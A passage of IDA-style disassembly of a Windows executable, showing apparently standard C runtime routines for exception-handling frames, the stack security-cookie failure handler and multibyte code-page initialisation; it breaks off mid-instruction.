call sub_40F39E mov eax, [eax+80h] mov [ebp+var_2C], eax lea eax, [ebp+var_34] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call [ebp+var_2C] pop ecx pop ecx and [ebp+var_38], 0 loc_40E39E: ; DATA XREF: sub_40E2F5+10o cmp [ebp+var_4], 0 jz short loc_40E3BB mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_40E3C4 ; --------------------------------------------------------------------------- loc_40E3BB: ; CODE XREF: sub_40E2F5+ADj mov eax, [ebp+var_28] mov large fs:0, eax loc_40E3C4: ; CODE XREF: sub_40E2F5+C4j mov eax, [ebp+var_38] loc_40E3C7: ; CODE XREF: sub_40E2F5+1Dj pop ebx leave retn sub_40E2F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E3CA proc near ; DATA XREF: sub_40E2F5+26o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx cld mov eax, [ebp+arg_4] mov ecx, [eax+8] xor ecx, [ebp+arg_4] call sub_40AB4A mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h jz short loc_40E3FA mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 xor eax, eax inc eax jmp short loc_40E464 ; --------------------------------------------------------------------------- jmp short loc_40E464 ; --------------------------------------------------------------------------- loc_40E3FA: ; CODE XREF: sub_40E3CA+1Dj push 1 mov eax, [ebp+arg_4] push dword ptr [eax+18h] mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+10h] push [ebp+arg_0] call sub_415AD7 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_40E438 push [ebp+arg_0] push [ebp+arg_4] call sub_40E23D loc_40E438: ; CODE XREF: sub_40E3CA+61j push 0 push 0 push 0 push 0 push 0 lea eax, [ebp+var_4] push eax push 123h call sub_40E2F5 add esp, 1Ch mov eax, [ebp+var_4] mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp eax ; --------------------------------------------------------------------------- xor eax, eax inc eax loc_40E464: ; CODE XREF: sub_40E3CA+2Cj ; sub_40E3CA+2Ej pop ebx leave retn sub_40E3CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E467 proc near ; CODE XREF: sub_415677+81p ; sub_415769+1C6p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_0] mov eax, [edi+10h] mov esi, [edi+0Ch] mov [ebp+var_4], eax mov ebx, esi jmp short loc_40E4AB ; --------------------------------------------------------------------------- loc_40E47E: ; CODE XREF: sub_40E467+4Bj cmp esi, 0FFFFFFFFh jnz short loc_40E488 call sub_415C07 loc_40E488: ; CODE XREF: sub_40E467+1Aj mov ecx, [ebp+var_4] dec esi mov eax, esi imul eax, 14h add eax, ecx mov ecx, [ebp+arg_8] cmp [eax+4], ecx jge short loc_40E4A0 cmp ecx, [eax+8] jle short loc_40E4A5 loc_40E4A0: ; CODE XREF: sub_40E467+32j cmp esi, 0FFFFFFFFh jnz short loc_40E4AE loc_40E4A5: ; CODE XREF: sub_40E467+37j dec [ebp+arg_4] mov ebx, [ebp+arg_0] loc_40E4AB: ; CODE XREF: sub_40E467+15j mov [ebp+arg_0], esi loc_40E4AE: ; CODE XREF: sub_40E467+3Cj cmp [ebp+arg_4], 0 jge short loc_40E47E mov eax, [ebp+arg_C] inc esi mov [eax], esi mov eax, [ebp+arg_10] mov [eax], ebx cmp ebx, [edi+0Ch] ja short loc_40E4C8 cmp esi, ebx jbe short loc_40E4CD loc_40E4C8: ; CODE XREF: sub_40E467+5Bj call sub_415C07 loc_40E4CD: ; CODE XREF: sub_40E467+5Fj mov eax, esi imul eax, 14h add eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40E467 endp ; =============== S U B R O U T I N E ======================================= sub_40E4DA proc near ; CODE XREF: sub_41525F+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov [esi], eax call sub_40F39E mov eax, [eax+98h] mov [esi+4], eax call sub_40F39E mov [eax+98h], esi mov eax, esi pop esi retn sub_40E4DA endp ; =============== S U B R O U T I N E ======================================= sub_40E502 proc near ; CODE XREF: sub_415385+60p arg_0 = dword ptr 4 call sub_40F39E mov eax, [eax+98h] jmp short loc_40E51A ; --------------------------------------------------------------------------- loc_40E50F: ; CODE XREF: sub_40E502+1Aj mov ecx, [eax] cmp ecx, [esp+arg_0] jz short loc_40E520 mov eax, [eax+4] loc_40E51A: ; CODE XREF: sub_40E502+Bj test eax, eax jnz short loc_40E50F inc eax retn ; --------------------------------------------------------------------------- loc_40E520: ; CODE XREF: sub_40E502+13j xor eax, eax retn sub_40E502 endp ; =============== S U B R O U T I N E ======================================= sub_40E523 proc near ; CODE XREF: sub_415385+9p arg_0 = dword ptr 4 push esi call sub_40F39E mov esi, [esp+4+arg_0] cmp esi, [eax+98h] jnz short loc_40E545 call sub_40F39E mov ecx, [esi+4] mov [eax+98h], ecx pop esi retn ; --------------------------------------------------------------------------- loc_40E545: ; CODE XREF: sub_40E523+10j call sub_40F39E mov eax, [eax+98h] jmp short loc_40E55B ; --------------------------------------------------------------------------- loc_40E552: ; CODE XREF: sub_40E523+3Cj mov ecx, [eax+4] cmp esi, ecx jz short loc_40E567 mov eax, ecx loc_40E55B: ; CODE XREF: sub_40E523+2Dj cmp dword ptr [eax+4], 0 jnz short loc_40E552 pop esi jmp sub_415C07 ; --------------------------------------------------------------------------- loc_40E567: ; CODE XREF: sub_40E523+34j mov ecx, [esi+4] mov [eax+4], ecx pop esi retn sub_40E523 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E56F proc near ; CODE XREF: sub_41525F+7Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 18h mov eax, dword_423068 and [ebp+var_18], 0 lea ecx, [ebp+var_18] xor eax, ecx mov ecx, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_4] mov [ebp+var_C], eax mov eax, [ebp+arg_C] inc eax mov [ebp+var_14], offset loc_40E2C5 mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_18], eax lea eax, [ebp+var_18] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_415C50 mov ecx, eax mov eax, [ebp+var_18] mov large fs:0, eax mov eax, ecx leave retn sub_40E56F endp ; =============== S U B R O U T I N E ======================================= sub_40E5CD proc near ; CODE XREF: sub_401DA8+7p ; sub_401FC0+7p ... arg_0 = byte ptr 4 push eax push large dword ptr fs:0 lea eax, [esp+8+arg_0] sub esp, [esp+0Ch] push ebx push esi push edi mov [eax], ebp mov ebp, eax mov eax, dword_423068 xor eax, ebp push eax push dword ptr [ebp-4] mov dword ptr [ebp-4], 0FFFFFFFFh lea eax, [ebp-0Ch] mov large fs:0, eax retn sub_40E5CD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40E600 proc near ; CODE XREF: sub_4021E4+7p ; sub_415216+7p arg_0 = byte ptr 4 push eax push large dword ptr fs:0 lea eax, [esp+8+arg_0] sub esp, [esp+0Ch] push ebx push esi push edi mov [eax], ebp mov ebp, eax mov eax, dword_423068 xor eax, ebp push eax mov [ebp-10h], esp push dword ptr [ebp-4] mov dword ptr [ebp-4], 0FFFFFFFFh lea eax, [ebp-0Ch] mov large fs:0, eax retn sub_40E600 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40E636 proc near ; CODE XREF: sub_4085E6+Ap ; .text:004086D2p ... arg_0 = byte ptr 4 push eax push large dword ptr fs:0 lea eax, [esp+8+arg_0] sub esp, [esp+0Ch] push ebx push esi push edi mov [eax], ebp mov ebp, eax mov eax, dword_423068 xor eax, ebp push eax mov [ebp-10h], eax push dword ptr [ebp-4] mov dword ptr [ebp-4], 0FFFFFFFFh lea eax, [ebp-0Ch] mov large fs:0, eax retn sub_40E636 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40E66C proc near ; CODE XREF: sub_401DA8+2Dp ; sub_401FC0+6Bp ... mov ecx, [ebp-0Ch] mov large fs:0, ecx pop ecx pop edi pop edi pop esi pop ebx mov esp, ebp pop ebp push ecx retn sub_40E66C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40E680 proc near ; CODE XREF: sub_4085E6:loc_4086C2p ; .text:loc_4088C8p ... mov ecx, [ebp-10h] xor ecx, ebp call sub_40AB4A jmp sub_40E66C sub_40E680 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E68F proc near ; CODE XREF: sub_40AB4A:loc_40AB54j var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = dword ptr -320h arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 328h mov dword_425C28, eax mov dword_425C24, ecx mov dword_425C20, edx mov dword_425C1C, ebx mov dword_425C18, esi mov dword_425C14, edi mov word_425C40, ss mov word_425C34, cs mov word_425C10, ds mov word_425C0C, es mov word_425C08, fs mov word_425C04, gs pushf pop dword_425C38 mov eax, [ebp+0] mov dword_425C2C, eax mov eax, [ebp+4] mov dword_425C30, eax lea eax, [ebp+arg_0] mov dword_425C3C, eax mov eax, [ebp+var_320] mov dword_425B78, 10001h mov eax, dword_425C30 mov dword_425B2C, eax mov dword_425B20, 0C0000409h mov dword_425B24, 1 mov eax, dword_423068 mov [ebp+var_328], eax mov eax, dword_42306C mov [ebp+var_324], eax call ds:off_41E194 mov dword_425B70, eax push 1 call sub_411C65 pop ecx push 0 call ds:dword_41E1A8 ; SetUnhandledExceptionFilter push offset dword_41E3E8 call ds:off_41E1A4 cmp dword_425B70, 0 jnz short loc_40E77F push 1 call sub_411C65 pop ecx loc_40E77F: ; CODE XREF: sub_40E68F+E6j push 0C0000409h call ds:off_41E1A0 push eax call ds:off_41E0DC leave retn sub_40E68F endp ; =============== S U B R O U T I N E ======================================= sub_40E793 proc near ; CODE XREF: sub_40EABF+11Ep ; sub_40EABF+173p sub eax, 3A4h jz short loc_40E7BC sub eax, 4 jz short loc_40E7B6 sub eax, 0Dh jz short loc_40E7B0 dec eax jz short loc_40E7AA xor eax, eax retn ; --------------------------------------------------------------------------- loc_40E7AA: ; CODE XREF: sub_40E793+12j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_40E7B0: ; CODE XREF: sub_40E793+Fj mov eax, 412h retn ; --------------------------------------------------------------------------- loc_40E7B6: ; CODE XREF: sub_40E793+Aj mov eax, 804h retn ; --------------------------------------------------------------------------- loc_40E7BC: ; CODE XREF: sub_40E793+5j mov eax, 411h retn sub_40E793 endp ; =============== S U B R O U T I N E ======================================= sub_40E7C2 proc near ; CODE XREF: sub_40EABF+2Bp push ebx push ebp push esi push edi mov ebp, 101h mov esi, eax push ebp xor edi, edi lea ebx, [esi+1Ch] push edi push ebx call sub_40C6F0 mov [esi+4], edi mov [esi+8], edi mov [esi+0Ch], edi xor eax, eax lea edi, [esi+10h] stosd stosd stosd mov eax, offset dword_423070 add esp, 0Ch sub eax, esi loc_40E7F5: ; CODE XREF: sub_40E7C2+3Aj mov cl, [eax+ebx] mov [ebx], cl inc ebx dec ebp jnz short loc_40E7F5 lea ecx, [esi+11Dh] mov esi, 100h loc_40E809: ; CODE XREF: sub_40E7C2+4Ej mov dl, [ecx+eax] mov [ecx], dl inc ecx dec esi jnz short loc_40E809 pop edi pop esi pop ebp pop ebx retn sub_40E7C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=49Ch sub_40E817 proc near ; CODE XREF: sub_40EABF+141p var_51C = dword ptr -51Ch var_518 = byte ptr -518h var_512 = byte ptr -512h var_511 = byte ptr -511h var_504 = word ptr -504h var_304 = byte ptr -304h var_204 = byte ptr -204h var_104 = byte ptr -104h var_4 = dword ptr -4 push ebp lea ebp, [esp-49Ch] sub esp, 51Ch mov eax, dword_423068 xor eax, ebp mov [ebp+49Ch+var_4], eax push ebx push edi lea eax, [ebp+49Ch+var_518] push eax push dword ptr [esi+4] call ds:dword_41E180 ; GetCPInfo test eax, eax mov edi, 100h jz loc_40E93D xor eax, eax loc_40E850: ; CODE XREF: sub_40E817+43j mov [ebp+eax+49Ch+var_104], al inc eax cmp eax, edi jb short loc_40E850 mov al, [ebp+49Ch+var_512] test al, al mov [ebp+49Ch+var_104], 20h jz short loc_40E895 lea ebx, [ebp+49Ch+var_511] loc_40E86D: ; CODE XREF: sub_40E817+7Cj movzx ecx, al movzx eax, byte ptr [ebx] cmp ecx, eax ja short loc_40E88D sub eax, ecx inc eax push eax lea edx, [ebp+ecx+49Ch+var_104] push 20h push edx call sub_40C6F0 add esp, 0Ch loc_40E88D: ; CODE XREF: sub_40E817+5Ej inc ebx mov al, [ebx] inc ebx test al, al jnz short loc_40E86D loc_40E895: ; CODE XREF: sub_40E817+51j push 0 push dword ptr [esi+0Ch] lea eax, [ebp+49Ch+var_504] push dword ptr [esi+4] push eax push edi lea eax, [ebp+49Ch+var_104] push eax push 1 push 0 call sub_416254 xor ebx, ebx push ebx push dword ptr [esi+4] lea eax, [ebp+49Ch+var_204] push edi push eax push edi lea eax, [ebp+49Ch+var_104] push eax push edi push dword ptr [esi+0Ch] push ebx call sub_416059 add esp, 44h push ebx push dword ptr [esi+4] lea eax, [ebp+49Ch+var_304] push edi push eax push edi lea eax, [ebp+49Ch+var_104] push eax push 200h push dword ptr [esi+0Ch] push ebx call sub_416059 add esp, 24h xor eax, eax loc_40E8FC: ; CODE XREF: sub_40E817+122j movzx ecx, [ebp+eax*2+49Ch+var_504] test cl, 1 jz short loc_40E914 or byte ptr [esi+eax+1Dh], 10h mov cl, [ebp+eax+49Ch+var_204] jmp short loc_40E925 ; --------------------------------------------------------------------------- loc_40E914: ; CODE XREF: sub_40E817+EDj test cl, 2 jz short loc_40E92E or byte ptr [esi+eax+1Dh], 20h mov cl, [ebp+eax+49Ch+var_304] loc_40E925: ; CODE XREF: sub_40E817+FBj mov [esi+eax+11Dh], cl jmp short loc_40E936 ; --------------------------------------------------------------------------- loc_40E92E: ; CODE XREF: sub_40E817+100j mov byte ptr [esi+eax+11Dh], 0 loc_40E936: ; CODE XREF: sub_40E817+115j inc eax cmp eax, edi jb short loc_40E8FC jmp short loc_40E98A ; --------------------------------------------------------------------------- loc_40E93D: ; CODE XREF: sub_40E817+31j lea eax, [esi+11Dh] mov [ebp+49Ch+var_51C], 0FFFFFF9Fh xor ecx, ecx sub [ebp+49Ch+var_51C], eax loc_40E94F: ; CODE XREF: sub_40E817+171j mov edx, [ebp+49Ch+var_51C] lea eax, [esi+ecx+11Dh] add edx, eax lea ebx, [edx+20h] cmp ebx, 19h ja short loc_40E96F or byte ptr [esi+ecx+1Dh], 10h mov dl, cl add dl, 20h jmp short loc_40E97E ; --------------------------------------------------------------------------- loc_40E96F: ; CODE XREF: sub_40E817+14Aj cmp edx, 19h ja short loc_40E982 or byte ptr [esi+ecx+1Dh], 20h mov dl, cl sub dl, 20h loc_40E97E: ; CODE XREF: sub_40E817+156j mov [eax], dl jmp short loc_40E985 ; --------------------------------------------------------------------------- loc_40E982: ; CODE XREF: sub_40E817+15Bj mov byte ptr [eax], 0 loc_40E985: ; CODE XREF: sub_40E817+169j inc ecx cmp ecx, edi jb short loc_40E94F loc_40E98A: ; CODE XREF: sub_40E817+124j mov ecx, [ebp+49Ch+var_4] pop edi xor ecx, ebp pop ebx call sub_40AB4A add ebp, 49Ch leave retn sub_40E817 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9A1 proc near ; CODE XREF: sub_40AB59+57p ; sub_40EC6A+1Ap var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset dword_421A08 call __SEH_prolog4 call sub_40F39E mov edi, eax mov eax, dword_423594 test [edi+70h], eax jz short loc_40E9DB cmp dword ptr [edi+6Ch], 0 jz short loc_40E9DB mov esi, [edi+68h] loc_40E9C7: ; CODE XREF: sub_40E9A1+96j test esi, esi jnz short loc_40E9D3 push 20h call sub_41195D pop ecx loc_40E9D3: ; CODE XREF: sub_40E9A1+28j mov eax, esi call __SEH_epilog4 retn ; --------------------------------------------------------------------------- loc_40E9DB: ; CODE XREF: sub_40E9A1+1Bj ; sub_40E9A1+21j push 0Dh call sub_40F9F7 pop ecx and [ebp+ms_exc.disabled], 0 mov esi, [edi+68h] mov [ebp+var_1C], esi cmp esi, dword_423498 jz short loc_40EA2B test esi, esi jz short loc_40EA13 push esi call ds:dword_41E178 ; InterlockedDecrement test eax, eax jnz short loc_40EA13 cmp esi, offset dword_423070 jz short loc_40EA13 push esi call sub_40D35A pop ecx loc_40EA13: ; CODE XREF: sub_40E9A1+56j ; sub_40E9A1+61j ... mov eax, dword_423498 mov [edi+68h], eax mov esi, dword_423498 mov [ebp+var_1C], esi push esi call ds:dword_41E17C ; InterlockedIncrement loc_40EA2B: ; CODE XREF: sub_40E9A1+52j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40EA3C jmp short loc_40E9C7 sub_40E9A1 endp ; =============== S U B R O U T I N E ======================================= sub_40EA39 proc near ; DATA XREF: r69pu5ti:00421A20o mov esi, [ebp-1Ch] sub_40EA39 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40EA3C proc near ; CODE XREF: sub_40E9A1+91p push 0Dh call sub_40F91F pop ecx retn sub_40EA3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EA45 proc near ; CODE XREF: sub_40EABF+19p ; sub_40EC6A+25p var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 10h push ebx xor ebx, ebx push ebx lea ecx, [ebp+var_10] call sub_40AB59 cmp esi, 0FFFFFFFEh mov dword_425E44, ebx jnz short loc_40EA80 mov dword_425E44, 1 call ds:off_41E170 loc_40EA72: ; CODE XREF: sub_40EA45+50j ; sub_40EA45+67j cmp [ebp+var_4], bl jz short loc_40EABC mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh jmp short loc_40EABC ; --------------------------------------------------------------------------- loc_40EA80: ; CODE XREF: sub_40EA45+1Bj cmp esi, 0FFFFFFFDh jnz short loc_40EA97 mov dword_425E44, 1 call ds:dword_41E174 ; GetACP jmp short loc_40EA72 ; --------------------------------------------------------------------------- loc_40EA97: ; CODE XREF: sub_40EA45+3Ej cmp esi, 0FFFFFFFCh jnz short loc_40EAAE mov eax, [ebp+var_10] mov eax, [eax+4] mov dword_425E44, 1 jmp short loc_40EA72 ; --------------------------------------------------------------------------- loc_40EAAE: ; CODE XREF: sub_40EA45+55j cmp [ebp+var_4], bl jz short loc_40EABA mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_40EABA: ; CODE XREF: sub_40EA45+6Cj mov eax, esi loc_40EABC: ; CODE XREF: sub_40EA45+30j ; sub_40EA45+39j pop ebx leave retn sub_40EA45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EABF proc near ; CODE XREF: sub_40EC6A+5Ep var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, dword_423068 xor eax, ebp mov [ebp+var_4], eax push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] push edi call sub_40EA45 mov edi, eax xor esi, esi cmp edi, esi mov [ebp+arg_0], edi jnz short loc_40EAF6 loc_40EAE8: ; CODE XREF: sub_40EABF+193j mov eax, ebx call sub_40E7C2 loc_40EAEF: ; CODE XREF: sub_40EABF+146j xor eax, eax jmp loc_40EC5B ; --------------------------------------------------------------------------- loc_40EAF6: ; CODE XREF: sub_40EABF+27j mov [ebp+var_1C], esi xor eax, eax loc_40EAFB: ; CODE XREF: sub_40EABF+4Fj cmp dword_4234A0[eax], edi jz short loc_40EB6A inc [ebp+var_1C] add eax, 30h cmp eax, 0F0h jb short loc_40EAFB lea eax, [ebp+var_18] push eax push edi call ds:dword_41E180 ; GetCPInfo test eax, eax jz loc_40EC4C push 101h lea eax, [ebx+1Ch] push esi push eax call sub_40C6F0 xor edx, edx inc edx add esp, 0Ch cmp [ebp+var_18], edx mov [ebx+4], edi mov [ebx+0Ch], esi jbe loc_40EC3F cmp [ebp+var_12], 0 jz loc_40EC20 lea esi, [ebp+var_11] loc_40EB54: ; CODE XREF: sub_40EABF+15Bj mov cl, [esi] test cl, cl jz loc_40EC20 movzx eax, byte ptr [esi-1] movzx ecx, cl jmp loc_40EC10 ; --------------------------------------------------------------------------- loc_40EB6A: ; CODE XREF: sub_40EABF+42j push 101h lea eax, [ebx+1Ch] push esi push eax call sub_40C6F0 mov ecx, [ebp+var_1C] add esp, 0Ch imul ecx, 30h mov [ebp+var_20], esi lea esi, dword_4234B0[ecx] mov [ebp+var_1C], esi jmp short loc_40EBBA ; --------------------------------------------------------------------------- loc_40EB90: ; CODE XREF: sub_40EABF+FEj mov al, [esi+1] test al, al jz short loc_40EBBF movzx edi, byte ptr [esi] movzx eax, al jmp short loc_40EBB1 ; --------------------------------------------------------------------------- loc_40EB9F: ; CODE XREF: sub_40EABF+F4j mov eax, [ebp+var_20] mov al, byte_42349C[eax] or [ebx+edi+1Dh], al movzx eax, byte ptr [esi+1] inc edi loc_40EBB1: ; CODE XREF: sub_40EABF+DEj cmp edi, eax jbe short loc_40EB9F mov edi, [ebp+arg_0] inc esi inc esi loc_40EBBA: ; CODE XREF: sub_40EABF+CFj ; sub_40EABF+110j cmp byte ptr [esi], 0 jnz short loc_40EB90 loc_40EBBF: ; CODE XREF: sub_40EABF+D6j mov esi, [ebp+var_1C] inc [ebp+var_20] add esi, 8 cmp [ebp+var_20], 4 mov [ebp+var_1C], esi jb short loc_40EBBA mov eax, edi mov [ebx+4], edi mov dword ptr [ebx+8], 1 call sub_40E793 push 6 mov [ebx+0Ch], eax lea eax, [ebx+10h] lea ecx, dword_4234A4[ecx] pop edx loc_40EBF1: ; CODE XREF: sub_40EABF+13Dj mov si, [ecx] inc ecx mov [eax], si inc ecx inc eax inc eax dec edx jnz short loc_40EBF1 loc_40EBFE: ; CODE XREF: sub_40EABF+18Bj mov esi, ebx call sub_40E817 jmp loc_40EAEF ; --------------------------------------------------------------------------- loc_40EC0A: ; CODE XREF: sub_40EABF+153j or byte ptr [ebx+eax+1Dh], 4 inc eax loc_40EC10: ; CODE XREF: sub_40EABF+A6j cmp eax, ecx jbe short loc_40EC0A inc esi inc esi cmp byte ptr [esi-1], 0 jnz loc_40EB54 loc_40EC20: ; CODE XREF: sub_40EABF+8Cj ; sub_40EABF+99j lea eax, [ebx+1Eh] mov ecx, 0FEh loc_40EC28: ; CODE XREF: sub_40EABF+16Ej or byte ptr [eax], 8 inc eax dec ecx jnz short loc_40EC28 mov eax, [ebx+4] call sub_40E793 mov [ebx+0Ch], eax mov [ebx+8], edx jmp short loc_40EC42 ; --------------------------------------------------------------------------- loc_40EC3F: ; CODE XREF: sub_40EABF+82j mov [ebx+8], esi loc_40EC42: ; CODE XREF: sub_40EABF+17Ej xor eax, eax lea edi, [ebx+10h] stosd stosd stosd jmp short loc_40EBFE ; --------------------------------------------------------------------------- loc_40EC4C: ; CODE XREF: sub_40EABF+5Ej cmp dword_425E44, esi jnz loc_40EAE8 or eax, 0FFFFFFFFh loc_40EC5B: ; CODE XREF: sub_40EABF+32j mov ecx, [ebp+var_4] pop edi pop esi xor ecx, ebp pop ebx call sub_40AB4A leave retn sub_40EABF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EC6A proc near ; CODE XREF: sub_40EE04+Bp var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0040EDD6 SIZE 0000002E BYTES push 14h push offset dword_421A28 call __SEH_prolog4 or [ebp+var_20], 0FFFFFFFFh call sub_40F39E mov edi, eax mov [ebp+var_24], edi call sub_40E9A1 mov ebx, [edi+68h] mov esi, [ebp+arg_0] call sub_40EA45 mov [ebp+arg_0], eax cmp eax, [ebx+4] jz loc_40EDF7 push 220h call sub_41183A pop ecx mov ebx, eax test ebx, ebx jz loc_40EDFB mov ecx, 88h mov esi, [edi+68h] mov edi, ebx rep movsd and dword ptr [ebx], 0 push ebx push [ebp+arg_0] call sub_40EABF pop ecx pop ecx mov [ebp+var_20], eax test eax, eax jnz loc_40EDD6 mov esi, [ebp+var_24] push dword ptr [esi+68h] call ds:dword_41E178 ; InterlockedDecrement test eax, eax jnz short loc_40ECFB mov eax, [esi+68h] cmp eax, offset dword_423070 jz short loc_40ECFB push eax call sub_40D35A pop ecx loc_40ECFB: ; CODE XREF: sub_40EC6A+7Ej ; sub_40EC6A+88j mov [esi+68h], ebx push ebx mov edi, ds:dword_41E17C call edi ; InterlockedIncrement test byte ptr [esi+70h], 2 jnz loc_40EDFB test byte ptr dword_423594, 1 jnz loc_40EDFB push 0Dh call sub_40F9F7 pop ecx and [ebp+ms_exc.disabled], 0 mov eax, [ebx+4] mov dword_425E54, eax mov eax, [ebx+8] mov dword_425E58, eax mov eax, [ebx+0Ch] mov dword_425E5C, eax xor eax, eax loc_40ED44: ; CODE XREF: sub_40EC6A+F0j mov [ebp+var_1C], eax cmp eax, 5 jge short loc_40ED5C mov cx, [ebx+eax*2+10h] mov word_425E48[eax*2], cx inc eax jmp short loc_40ED44 ; --------------------------------------------------------------------------- loc_40ED5C: ; CODE XREF: sub_40EC6A+E0j xor eax, eax loc_40ED5E: ; CODE XREF: sub_40EC6A+109j mov [ebp+var_1C], eax cmp eax, 101h jge short loc_40ED75 mov cl, [eax+ebx+1Ch] mov byte_423290[eax], cl inc eax jmp short loc_40ED5E ; --------------------------------------------------------------------------- loc_40ED75: ; CODE XREF: sub_40EC6A+FCj xor eax, eax loc_40ED77: ; CODE XREF: sub_40EC6A+125j mov [ebp+var_1C], eax cmp eax, 100h jge short loc_40ED91 mov cl, [eax+ebx+11Dh] mov byte_423398[eax], cl inc eax jmp short loc_40ED77 ; --------------------------------------------------------------------------- loc_40ED91: ; CODE XREF: sub_40EC6A+115j push dword_423498 call ds:dword_41E178 ; InterlockedDecrement test eax, eax jnz short loc_40EDB4 mov eax, dword_423498 cmp eax, offset dword_423070 jz short loc_40EDB4 push eax call sub_40D35A pop ecx loc_40EDB4: ; CODE XREF: sub_40EC6A+135j ; sub_40EC6A+141j mov dword_423498, ebx push ebx call edi ; InterlockedIncrement mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40EDCB jmp short loc_40EDFB sub_40EC6A endp ; =============== S U B R O U T I N E ======================================= sub_40EDCB proc near ; CODE XREF: sub_40EC6A+15Ap push 0Dh call sub_40F91F pop ecx retn sub_40EDCB endp ; --------------------------------------------------------------------------- jmp short loc_40EDFB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40EC6A loc_40EDD6: ; CODE XREF: sub_40EC6A+6Aj cmp eax, 0FFFFFFFFh jnz short loc_40EDFB cmp ebx, offset dword_423070 jz short loc_40EDEA push ebx call sub_40D35A pop ecx loc_40EDEA: ; CODE XREF: sub_40EC6A+177j call sub_40F7D4 mov dword ptr [eax], 16h jmp short loc_40EDFB ; --------------------------------------------------------------------------- loc_40EDF7: ; CODE XREF: sub_40EC6A+30j and [ebp+var_20], 0 loc_40EDFB: ; CODE XREF: sub_40EC6A+45j ; sub_40EC6A+A1j ... mov eax, [ebp+var_20] call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_40EC6A ; =============== S U B R O U T I N E ======================================= sub_40EE04 proc near ; CODE XREF: sub_4148E6+Cp ; sub_414943+Dp ... cmp dword_434D34, 0 jnz short loc_40EE1F push 0FFFFFFFDh call sub_40EC6A pop ecx mov dword_434D34, 1 loc_40EE1F: ; CODE XREF: sub_40EE04+7j xor eax, eax retn sub_40EE04 endp ; =============== S U B R O U T I N E ======================================= sub_40EE22 proc near ; CODE XREF: sub_40F074+31p ; sub_40F3B6+E8p arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] mov eax, [esi+0BCh] xor ebp, ebp cmp eax, ebp push edi jz short loc_40EEA5 cmp eax, offset off_423F18 jz short loc_40EEA5 mov eax, [esi+0B0h] cmp eax, ebp jz short loc_40EEA5 cmp [eax], ebp jnz short loc_40EEA5 mov eax, [esi+0B8h] cmp eax, ebp jz short loc_40EE6C cmp [eax], ebp jnz short loc_40EE6C push eax call sub_40D35A push dword ptr [esi+0BCh] call sub_416464 pop ecx pop ecx loc_40EE6C: ; CODE XREF: sub_40EE22+31j ; sub_40EE22+35j mov eax, [esi+0B4h] cmp eax, ebp jz short loc_40EE8D cmp [eax], ebp jnz short loc_40EE8D push eax call 